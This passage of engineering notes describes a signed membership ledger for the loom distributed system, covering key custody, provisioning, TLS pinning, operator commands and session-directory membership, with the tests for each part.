NotDurable(reason)`, `head`, `entries(after, limit)` (the local twin of `Pull`),
`status` (ledger, last refusal, reported heads with `ms_since`), `announce`
(send heads now) and `meet(reach)` (a peer just connected).
- Order, per line: `membership_entry.read`, `membership_ledger.apply`, then
`membership_store.append`, and only then the observers and the in-memory
ledger move. A file that cannot take a valid line leaves the node unchanged
(`NotDurable`). `Observer`s are called inside the process, synchronously,
with `Loaded(ledger)` before `start` returns, `Extended(previous, ledger, entry)`
after each durable append and `Connected(node, ledger)` on a node-up; slice 1c
publishes the pin table and disconnects from them.
- Anti-entropy: `Start` sends a head to every connected peer and arms the one
periodic `Tick` (60 s, `tick_ms`); each tick and each node-up sends a head. A
head ahead of ours is pulled from in batches of at most 64 under a 5 s state
timeout; a head at our sequence number with another identity is pulled for that
one entry so the fork becomes a recorded refusal; a head that would start a
second pull is postponed until `Quiet`. Entries are applied whoever sent them.
The next batch is asked for only if the head moved, which ends a peer that
answers with old or invalid lines. After applying, a node sends its head to
every peer but the source. A refusal is recorded as the last one (replaced by
the next) and never sticks. Peers are `Distributed` (the VM's connected nodes
and `net_kernel:monitor_nodes`, through `internal/ffi_nodes`, stock OTP
bindings with no Erlang source) or `Supplied(reach)` for tests. Dialing is
slice 1c.
- `ledger_boot` is the daemon's glue; slice 1c changed it, see below.
- Tests: `membership_store_test`; `ledger_service_test` (two to three services in
one VM over real files with `support/ledger_rig`: outcomes, refusals,
durability, tick, batches, relay, garbage, deadline, postponed heads, fork,
observers); `ledger_boot_test` (real ECDSA, serial because it registers
`loom_ledger`); `ledger_distribution_test`, a three-emulator chain over the
production TLS flags (`client_distribution_fixture_ffi` scenario
`ledger_relay`, node side in `support/ledger_nodes`) where a revoke reaches a
node the origin never connects to.
## The membership ledger, provisioning (protocol-change/086, slice 1d-i)
`provision` signs a ledger for the plan and keeps the authority key, unless
`--static`. Static mode, `[[distribution.peers]]` and `/1` bundles are unchanged.
- `client/authority_key` is custody of the key. `keep` writes
`<home>/.loom/authority/<deployment id>` (directory 0700) holding `key.enc`,
`ca.pem` and the operator's `ledger.log` (files 0600), key last, and refuses
before writing anything when `key.enc` exists: a key is never replaced.
`key.enc` is one JSON line, format `loom-authority-key/1`, keys exactly
`deployment`, `iterations`, `salt`, `nonce`, `ciphertext`, `tag` (unpadded
URL-safe base64, canonical encodings only). The key is PBKDF2-HMAC-SHA256 at
600,000 iterations (the floor a reader enforces; a ceiling of ten million
bounds a hostile file) over a random 16-byte salt, the cipher AES-256-GCM with
a random 12-byte nonce, and the associated data is the format and the
deployment id. A fresh salt per file means one message per key, so a random
nonce cannot repeat. An open that fails is `Rejected`: GCM cannot tell a wrong
passphrase from a changed file, and the module does not claim to.
`signer(directory, deployment, passphrase)` is the one-function seam; a
keychain or token replaces it and nothing that holds a `Signer` changes.
- A passphrase is 12 to 1024 bytes, from `passphrase_from_terminal` (the VM's
raw `noshell` mode, which echoes nothing; `NoTerminal` when stdin is not a
terminal or `TERM` is unusable) or `passphrase_from_file`, which goes through
`bootstrap.read_private_bounded` and so refuses a file others can read. Never
an argument. Nothing in the tests calls the terminal reader, because a test
run from a terminal would block on it; it was driven under a pty by hand.
- `client/membership_provision.build` writes the genesis and one `member` entry
per plan node in plan order. `links` are the plan peers already enrolled
(the fold accepts a link only to an active member), one end per edge, which the
pin table treats as symmetric; plan directory members are `voter`, everyone
else `none`. Each entry passes `membership_ledger.check` before it is signed,
and the finished file is replayed with the authority certificate's verifier.
`distribution_provision.peer_pins` is the static peer list, and
`ledger_provision_test` holds every node's ledger pin table equal to it.
- Bundle `/2` replaces `peers` with `ledger` (the lines, in order). `Trust` is
`StaticPeers | SignedLedger`, so a bundle with both cannot be built, and a
document with `peers` under `/2` or `ledger` under `/1` is refused for the
unknown key. `decode` replays the ledger with a verifier from the bundle's `ca`
and requires the genesis to name that CA and the node's own entry to be active
with the bundle's role, node name and the pin of its certificate. The peers
that `executors` rows and `directory` are checked against are the node's pin
table. `config_tables` writes `ledger = "<dir of ca>/ledger.log"` and no peer
row (`ledger_path`, `ledger_file`).
- `install` takes a `/2` bundle (slice 1d-ii, below).
- `provision` writes a ledger by default and `--static` is the opt-in for the
`/1` bundles. It checks the output directory and reads the passphrase before it
mints, seals the key before it writes the bundles, and writes `OUT/ledger.log`
beside them. `Provisioned` carries the ledger text as a `String` for
`keep_authority`; `Deployment.ledger` stays an `Option` because `write` is
shared with static mode. A plan with a session directory is provisioned in
ledger mode too (phase 3: its members are voters). `--static` is refused beside `--drop-authority`,
`--passphrase-file` and `--home`, which only a ledger reads.
- The terminal prompt works only under `loomd distribution`. `loom
distribution …` runs `loomd` through a port whose stdin is a pipe, so the
prompt would answer `NoTerminal`; the launcher (`tui.forward_distribution`)
refuses `provision` with none of `--passphrase-file`, `--drop-authority` and
`--static`, and `enroll`, `revoke` and `renew` without `--passphrase-file`,
before it spawns, and the usage text says so.
- The kept directory has a fourth file, `cookie` (`Kept.cookie`,
`authority_key.cookie`, 0600, unsealed): `enroll` and `renew` write bundles and
a bundle carries the cookie. `provision_ledger`'s `Authority` carries it.
Tests: `authority_key_test` (round trip, wrong passphrase, each changed field,
the deployment binding, the shape and weak-parameter refusals, permissions,
overwrite refusal, the signer) and `ledger_provision_test` (the equivalence with
static pins for a plain and a directory plan, standing defaults, the `/2` bundle
refusals, the config tables, the install refusal, the 65-member plan, and the
commands).
## The membership ledger, TLS and dialing (protocol-change/086, slice 1c)
Ledger mode makes the ledger the only source of trust: `[distribution] ledger`
replaces `[[distribution.peers]]`, and a document with both is refused by
`distribution.from_document`.
- `distribution.Config` holds a private `Trust`, `Pinned(peers)` or
`Ledgered(path)`. `configure_ledger` builds the second; `tls_options` renders
the pin-less file (`ffi_distribution.live_options`) and `start` calls
`ffi_distribution.start_live` (the same Erlang functions as the static ones,
which accept the atom `live` in place of a peer list). `peer_nodes` is empty in
ledger mode, which only `client/ledger_reference.peers` reads: it answers
`Ledgered`, so the tables that name a peer check shape only (slice 1d-ii);
`[directory]` is refused beside a ledger (the members are the ledger's, see the
phase 3 section). `distribution` and `distribution_plan` must never import a `membership_*` or `ledger_*`
module (`membership_entry` imports both), which is why the mode is a type in
`distribution` and the ledger side starts it.
- `ledger_trust` is the observer that applies the ledger. It runs inside the
ledger process, which therefore owns the protected table `loom_dist_pins`:
`publish` (FFI `publish_pins`) creates it on the first call and replaces the
`pins` row with one insert, after the durable append. Order per `Extended`:
publish, `net_kernel:allow/1` (grows, never shrinks, `ffi_nodes.allow` is the
one place a ledger name becomes an atom), then disconnect `stale` nodes, which
are the connected nodes the new table does not list or whose pin the entry
replaced. `Connected(node, ledger)` disconnects a node that is not in the table
of the ledger the process holds at that moment. A self-revoke leaves the empty
table (every handshake refused, every connection dropped) and keeps
`net_kernel` up.
- Bounds: the table never holds more than `membership_ledger.max_active - 1`
pins, and the allow list never grows past `max_names` (256) names, both
enforced by the fold. `ledger_trust.max_peers` states the first, and `publish`
never publishes more.
- `ledger_boot.start(config, cluster, logger)` returns `Booted(membership,
ledger)`. With a ledger it runs `open_service` (verify the file, require this
node to be an active member, start the process with the observers), then
`distribution.start`, then `begin_trust` (allow list, `enable_dialing`). The
ledger starts first so the table exists before the listener does. `start_with`
takes the observers, for the test that holds the process. A `Member` cluster is
refused. `daemon/main.Config.ledger` keeps the process handle.
- Dialing (`ledger_service.enable_dialing`, `redial`): a periodic pass attempts
each wanted node that is not connected and has not reported the current head,
with waits of 5 s doubling to 5 min kept per node; a node that stops being
pending loses its backoff. `wanted` is `ledger_trust.executors_to_dial` (an
orchestrator's linked executors) and the attempt is a spawned
`distribution.peer` and `distribution.connect`, so the process never waits on
a handshake. In live mode `peer` resolves a name only if the table lists it.
- Tests: `ledger_trust_test` (stale and dial decisions), `ledger_service_test`
(fake-clock backoff, observer arguments), `ledger_boot_test`, and
`ledger_live_test` over `client_ledger_live_fixture_ffi` and
`support/ledger_live` (emulators, production PKI): links-only connections and
dialing, enrollment without a restart, revoke dropping connections, and the
node-up check alone ending a handshake that read the old row (a hook holds the
ledger process before the publish; removing the check times the test out).
## The membership ledger, install and the operator commands (protocol-change/086, slice 1d-ii)
`install` takes a `/2` bundle, `provision` writes one by default, and
`enroll`, `revoke`, `renew`, `log` and `import` extend and read the ledger.
- `distribution_install` writes the ledger beside the credentials
(`distribution_bundle.ledger_path`), merges a `[distribution]` table with a
`ledger` key and no peer rows, and renders the live options file. The ledger
file is planned as a chain (`plan_ledger`): a file the bundle extends is
replaced, a file that extends the bundle is kept, two that diverge are refused
unless `--force`. A `/2` bundle lists no directory (`decode` refuses one). The bundle's executor rows are not read against the ledger at install
(it is not on disk yet); `decode` already required each to name a peer in the
node's pin table. `Installed.snapshot` is the entry the bundle ends at.
- `client/ledger_reference` opens a node's ledger from its `[distribution]` table
(`load`, with the checks `ledger_boot.open_service` used to make). It answers
`peers(config)`: `Pinned(nodes)` in static mode and `Ledgered` in ledger mode,
and `executors`, `orchestrators`, `spawners` and `directory/settings` test their
`node` with `accepts`. So parsing a table never reads the ledger; a session
parses them on every create and open, and a `revoke` cannot fail one. The check
against the ledger is `audit(ledger, local, path, rows)`, which `daemon/main`
calls once at start (`audit_references`, over the ledger process's own state,
rows from `reference_rows`): a node no member entry ever named
(`membership_ledger.ever_named`) is an `Error`; a node that was a member and is
not an active linked member is an `Inert` row, logged as
`daemon.ledger_row_inert`. A call through an inert row fails because
`distribution.peer` resolves only names in the pin table.
- `client/ledger_control` is both halves of `ledger.append`, `ledger.entries` and
`ledger.status`. The daemon half takes a `Handle` (the `loom_ledger` process,
the node's name and its plan name from the ledger it started with, since a
revoked node cannot find itself by node name) and answers JSON; a refused
line is `Invalid(step)`, which `daemon/server` serves as `ledger_invalid`
with the step as the message (`gap` for a line past the head). The operator half
is total decoders (`decode_status`, `decode_entries`, `decode_applied`) and
`pages`/`fit_page`, which bound a frame to 48,000 bytes of lines. `daemon/main`
builds the handle after `start_distribution` and `server.Config.ledger` carries
it; a daemon without one answers `not_found`. `host/access` carries the
`ledger_invalid` message to the caller (`refusal_code`) and has
`raw_remote_request`; `daemon/admin.ledger_request` takes a `Where`
(`ThisHost` or `OverNetwork`) and validates with the daemon's decoder.
- `client/ledger_operator` is the pure part of the commands: `enroll`, `renew`
and `revoke` build the entry from the fold (a renewal copies the member's
current fields from the fold, not its last entry) and run
`membership_ledger.check`, `describe` turns a refusal into a sentence,
`concerns(before, after)` lists what a revoke newly breaks (`Orphaned` executor,
`Cut` members), and `confirmations(status, seq)` says who holds an entry.
`client/ledger_sync` keeps the operator's copy and a daemon in step: `catch_up`
pulls what the daemon has that the copy lacks, verified through the fold, and
refuses a fork, `hand_over` sends the daemon every line after its head, and
`await` polls `ledger.status` (weft poll) for at most `--wait`, not waiting for
the member just enrolled or renewed.
- `daemon/ledger_cli` runs the commands. A signing command unlocks the kept key,
locks `<authority dir>/ledger.lock` (`bootstrap.try_launch_lock`), asks the
daemon for its status (an unreachable daemon is a reason and the entry stays in
the copy), catches up, decides, seals, applies, appends to the copy, writes the
bundle (`enroll`, `renew`) after checking it decodes, hands over, and prints the
confirmations. `run_with` takes the way to reach a daemon (`Connect`) so a test
uses a ledger process in its VM; `run` uses the socket. `revoke` does not check
that the member owns sessions on its own: it asks the daemon (phase 2, below),
and it counts the directory's voters (phase 3). `enroll` takes
`--directory voter|learner|none` (phase 3), and refuses an executor with no
`--links` (`ledger_operator.check_enrollment`: it would be linked to no
orchestrator, and links cannot be added to a member without a revoke). `renew`
takes `--bundle-dir` like `enroll`, since the ledger does not record where a
node was installed. A bundle that cannot be written leaves the entry in the
copy, and the error says to run `renew NAME` (`or_bundle_not_written`).
- `ledger_service` sends the puller's head to the peer it pulled from, so the
source's `status` reports it within seconds (without it, at the next tick).
- Tests: `ledger_install_test` (install, idempotence, fork refusal, boot from
the install, the remedy for a node that applied its own revoke),
`ledger_reference_test`, `ledger_control_test`, `daemon_ledger_test` (the
socket, bounds, `not_found`), `ledger_operator_test` (pure),
`ledger_cli_test` (each command with a ledger process as the daemon: offline,
online, refusals, catch-up, fork, import, log), `ledger_operator_live_test`
(provision, install, three emulators over TLS, enroll while they run, revoke,
log; the operator's requests are relayed to the node's `ledger_control`), over
`support/ledger_deployment`, `client_ledger_operator_fixture_ffi.erl` and the
`control` command of `client_ledger_live_fixture_ffi.erl`.
## The membership ledger, configuration and status (protocol-change/086, phase 2)
An orchestrator in ledger mode gets its `[executors.<name>]` and
`[orchestrators.<name>]` rows from the ledger as well as from its file, `revoke`
checks what it would strand, and `deployment.status` shows the ledger. The design
note's "Phase 2: configuration and status, what was decided in the build" is the
argument.
- `client/roster` is `Roster(row)`, an opaque function that returns rows when it is
read (`fixed`, `reading`, `rows`). `session_importer.Context`,
`session_mover.Environment`, `session_movers.Control`, `server.Config.executors`,
`session_directory.peers`, `khepri` and `settle_over` and
`remote_spawner.over_distribution` hold a `Roster` where they held a list, and call
`roster.rows` at the moment they decide. A holder never keeps the list it read
across requests. `daemon/main` builds the two rosters from `Config.executors` and
`Config.orchestrators` (the written rows) and `Config.ledger`
(`executor_roster`, `orchestrator_roster`): a daemon with no ledger wraps the
written lists in `roster.fixed`. A per-session assembly (`workspace.fixed` and
`pooled`) reads the roster once for each open. `Config.executors` and
`Config.orchestrators` stay lists of the written rows.
- `client/ledger_rows` derives the rows. `executors_of` and `orchestrators_of` take a
ledger, the node's own node name and the written rows. Only an active orchestrator
derives anything: the rows are the members of its pin table by role, named as the
ledger names them, `executors.plain` and `orchestrators.plain` (no declaration, no
address). An orchestrator with a directory standing derives only orchestrators that
have one. A written row claims its name and its node, a derived row it claims is
dropped, and the result is sorted by name (`combine`). `executor_roster` and
`orchestrator_roster` read `ledger_service.status` each time and fall back to the
written rows when the process does not answer in two seconds. Never call a roster
from an observer: observers run inside the ledger process.
- `ledger_reference` gains `NameRow`, `InertName` and `audit_names` for the executor
names that pools and spawners list. `pools.from_document` and the spawner's
placement check a name's grammar only, in ledger mode (`ledger_reference.Ledgered`),
and `daemon/main.audit_started` calls `audit_executor_names` after the node audit
with the names of the written executor rows: a name nobody gave or an orchestrator's
name is an `Error`, a revoked or unlinked executor is `daemon.ledger_name_inert`.
`reference_names` lists the references with their keys.
- `Holds` is the orchestrator port's new constructor: `Holds(reply: Subject(Result(Held,
Nil)))`, answered by a `Holder` that `start_with` takes as its last parameter and
runs through `detached`. `Held(sessions, placed)` counts the active registrations
whose custody is not `Moved`, and `Placed(executor_node, sessions)` the ones placed on
each executor the asker lists (at most `max_placed`, 64). `ask_holds` flattens silence
and a catalogue that could not be read into `Error(Nil)`. `unheld` is the holder of a
port with no catalogue. `client/ledger_holdings` holds the daemon side: `targets`
(the node itself if it is an active orchestrator, and the orchestrators in its pin
table), `collect` (one weft run under `deadline_ms`, 4 s, inside the 5 s the control client
waits for any reply; each ask is silence or a `Held`), `over_distribution` (its own port for the local node, `session_directory.reached`
for a peer, then `ask_holds`), `silent`, and `from_catalogue` (`from_pages` takes the bound), which walks
`manager.page` for at most `max_pages` pages and answers unknown, not partial, when
the next page is not empty or when more than `max_placed` executors hold sessions,
drops `Moved` custody (one
`manager.custodies` call a page) and maps the executor names in the catalogue to nodes
through the executor roster. `ledger_control.Handle` has an `asker` (`handle` gives
`ledger_holdings.silent`, `asking` replaces it; `daemon/main.ledger_handle` gives it
`over_distribution`), and `ledger_control.holdings` is `ledger.holdings`
(`protocol.LedgerHoldings`, served by `server.ledger_command`).
`ledger_control.decode_holdings` is the operator's total decoder
(`AnswerView`, `HeldView`, `PlacedView`), bounded to 64 orchestrators and 64 placements
and refusing a negative count.
- `ledger_operator.strandings(ledger, name, answers)` is the decision, with `Stranding`
= `Owns(n)` | `Placed(n, by)` | `Silent(names)` | `Unasked(reason)`.
An orchestrator is `Owns` when its own answer reports sessions and `Silent` when it
has none. An executor is `Placed` by the orchestrators linked to it that put
sessions on its node, and `Silent` for each of those that did not answer.
`describe_stranding` and `describe_clear` are the sentences. `ledger_sync.Daemon` gained
`holdings`. `daemon/ledger_cli.revoke` runs `checked_revoke` before it signs (unless
`--force`): the link graph, the strandings and (phase 3) `ledger_operator.check_voters`
together, one refusal listing all that fail. A
daemon that cannot be asked is `Unasked`, so an offline `revoke` now needs `--force`.
`sign` returns the decision's extra value beside the `Signed`, which is how the
sentence about what was checked reaches the output.
- `server.deployment_status` adds `ledger` (the body of `ledger_control.status`) to a
whole-deployment read on a daemon with a ledger handle; a read naming a node, a daemon
with none and a ledger that does not answer add nothing. The terminal reads it in
`tui/deployment_view`.
- Tests: `ledger_rows_test` (derivation, combination, a roster that follows a running
ledger process, fail-closed), `ledger_reference_test` (the name audit and the
ledger-mode pool and spawner parse), `ledger_holdings_test` (targets, the fan-out, a
real registry for `from_catalogue`: counts, placements, two names for one node, moved
and moving custody, a page boundary, an unreadable registry), `orchestrator_port_test`
(`Holds`), `ledger_control_test` and `daemon_ledger_test` (the command and its
decoder over the socket, `deployment.status` with and without a ledger),
`ledger_operator_test` (`strandings`), `ledger_cli_test` (owns, silent, placed,
unasked, both refusals together) and `ledger_operator_live_test` (three emulators:
enroll and revoke while they run, and the rows follow). The live fixture nodes run no
catalogue, so their `ledger.holdings` answers that every orchestrator holds nothing,
unless a scenario sends `serve_holdings N EXECUTOR_NODE`, which starts a port over a
real catalogue (`support/held_catalogue`) and makes that node ask over distribution
(`ledger_live.Holdings`): `ledger_operator_live_test`'s holdings scenario is the
whole path across two emulators. `daemon_ledger_test` runs the revoke of a silent
orchestrator over the real control socket, and `test.rows` is a fixture-only command
that lists the derived rows.
## The membership ledger, the session directory (protocol-change/086, phase 3)
With a ledger the session directory's members are the ledger's, and the Khepri
cluster follows them. `docs/architecture/directory.md` ("Following the membership
ledger") is the account and the design note's "Phase 3: what was decided in the
build" the rulings.
- `directory/seats` is the pure part (not `client/roster`, which is phase 2's rows read
when used). `places(ledger)` reads the active members
whose `directory` standing is `voter` or `learner` as `Place(node, seat)`, ordered
by node, and `read(ledger)` gives `Seats`, which add `named`, whether any entry has named a node.
`plan(seats, ra, local)` returns a `Verdict`: `NotLeader` (this member is not
the Ra leader), `NotSeated` (it leads and the ledger gives it no seat),
`Remove(node, Why)` (`Unseated` or `OtherSeat`), `Held(node, Why)` (a voter whose
removal could not commit, because a majority of the voters that remain is not in
`ra.up`, the members the leader's `members_info` reports with status `normal`), or
`Settled(missing, foreign)`. `rejoin(seats, local, answer)` is the other decision:
`Rejoin` only when the ledger seats the node and a leader's membership, asked
through a peer, answers without it; `Stay` for a timeout, no leader and an
unseated node. Learners are removed before voters. A Ra
member the ledger has never named is `foreign` and stays; a seat nobody has taken
is `missing` and the node joins by itself. The plan never adds: only the joining
node can start the Ra server with the UId it is recorded under.
- `store.Seat` is `Voter | Learner`. `store.join(node, within_ms, seat)` is the four
steps with the seat's membership: `promotable` and a wait for the promotion for a
voter, `non_voter` and `join_caught_up` for a learner (the server has heard from
the leader, lists itself in its configuration, and has applied what the cluster
had applied). `ffi_khepri.Voting` gains `Promoting` so a voter that is catching up
is not read as a learner. `store.remove_member(name)` is `ra:remove_member` through
this node's own server; `client_khepri_ffi:remove_member/2` looks the name up as an
existing atom and makes none. `store.membership_through(node)` is the same
`ra:members_info` addressed to a peer's server, which forwards it to the leader;
`store.Membership` carries `up`. `store.reset(directory)` removes the joined marker
first and then deletes the local server, so a stop between them leaves a node that
has not joined and not a marker over no server. `store.settling` is the text of the
refusal for a change Ra will not take until the last commits.
- `member.Members` is `Listed(nodes)` (every node a voter, no reconciliation) or
`Followed(read)` (the ledger's `Seats`, read each tick; an unreadable ledger seats
no one, and seats that seat no one removes no one because `named` is false).
A tick keeps links and tries the join for the seats' places, and with `Followed`
and a joined store runs `reconcile_once` in a task. A seated node whose own
`store.membership()` fails or does not list it asks the seated peers that are
connected (`first_answer`), and resets (`Reset`, then `Joining` is `Rejoining` and
the next tick joins in the ledger's seat) only on a leader's answer without it;
otherwise the pass is `seats.plan` and a `Remove` is applied through
`store.remove_member`. A refusal because a change is settling is logged once as
`daemon.directory_remove_held` and not as a failure every tick. The decision is
logged when it changes: `daemon.directory_member_removed`,
`daemon.directory_remove_held`, `daemon.directory_remove_failed`,
`daemon.directory_reconciled`, `daemon.directory_not_a_member`,
`daemon.directory_reset_failed`. `directory.status` reports `joined: false` and
`unavailable` while a member rejoins.
- `directory/settings`: a `[directory]` table beside a ledger is refused;
`from_ledger(ledger, local)` is `Some(Settings(members))` when the ledger seats the
node; `require_orchestrators` is the `[orchestrators]` rule, called with the
ledger's members. `daemon/main.ledger_directory` derives the daemon's settings from
the ledger process at start and logs `daemon.directory_voters` for a voter count
outside three to seven or an even one. `main.members_of` gives the member actor
`Followed` when `Config.ledger` is set.
- `ledger_boot` reads the node's standing from the ledger and starts distribution as
`Member([])` when it is seated (visible, `connect_all` off) and `NotMember`
otherwise; it refuses a `Member` cluster passed with a ledger.
`ledger_trust.publish` publishes `directory_nodes` (the linked members whose
standing is not `none`, empty on a node outside the directory) as the `directory`
row of `loom_dist_pins` (`ffi_distribution.publish_directory`), and
`client_distribution_ffi:link/2` reads it in live mode on every connect.
- `daemon/directory_cli`: `bootstrap` takes the members from the ledger when
`[distribution]` names one (`start_ledgered`: `ledger_boot.start`, then requires a
voter seat) and from `[directory]` otherwise (`listed_members`, read before
anything is reserved).
- Operator: `Enrollment.directory` carries `--directory`; `ledger_operator.check_voters`
refuses an `enroll` that makes the eighth voter and a `revoke` that leaves fewer than
three (`revoke --force` skips it). Provisioning writes a ledger bundle's `directory`
as `[]` and `decode` refuses a ledger bundle that lists one; `install` no longer
refuses a directory plan.
- Invariants: the leader never adds, never removes itself, and removes a voter only
while a majority of the remaining voters is replicating its log (Ra status
`normal`); a Ra member the ledger has not named is never removed; a learner that has
just joined learns the leader from the leader's next append (the fixture writes
before it reads the learner's view); a removed member resets only on a leader's
explicit answer, only when the ledger seats it, and never creates a store (the
marker goes before the server, and a join is the way back).
- Tests: `directory/seats_test` (the plan as values), `ledger_spike_non_voter_test`
(the production learner join and `remove_member` over two scenarios in
`client_ledger_spike_ra_fixture_ffi`), `ledger_operator_directory_test` and the
directory cases of `ledger_cli_test` (the voter bounds), `settings_test`,
`ledger_trust_test` and `bootstrap_cli_test`, `daemon_ledger_directory_test`
(`main.ledger_directory`), `ledger_provision_test` (a directory plan with a
ledger), and `ledger_directory_test`, which provisions, installs and boots three
voters over TLS with the production member actor, enrolls a learner while they run,
sees a revoke refused, ends the leader and watches the new leader remove the revoked
learner (the store runs in emulators of its own, so the test VM needs no serial
entry; it takes about 35 s), plus a scenario that revokes a learner, enrolls the
same name again on the same disk and sees the members list it again with nobody
touching the marker (about 12 s). `daemon_ledger_ownership_test` covers
`main.ownership_of`.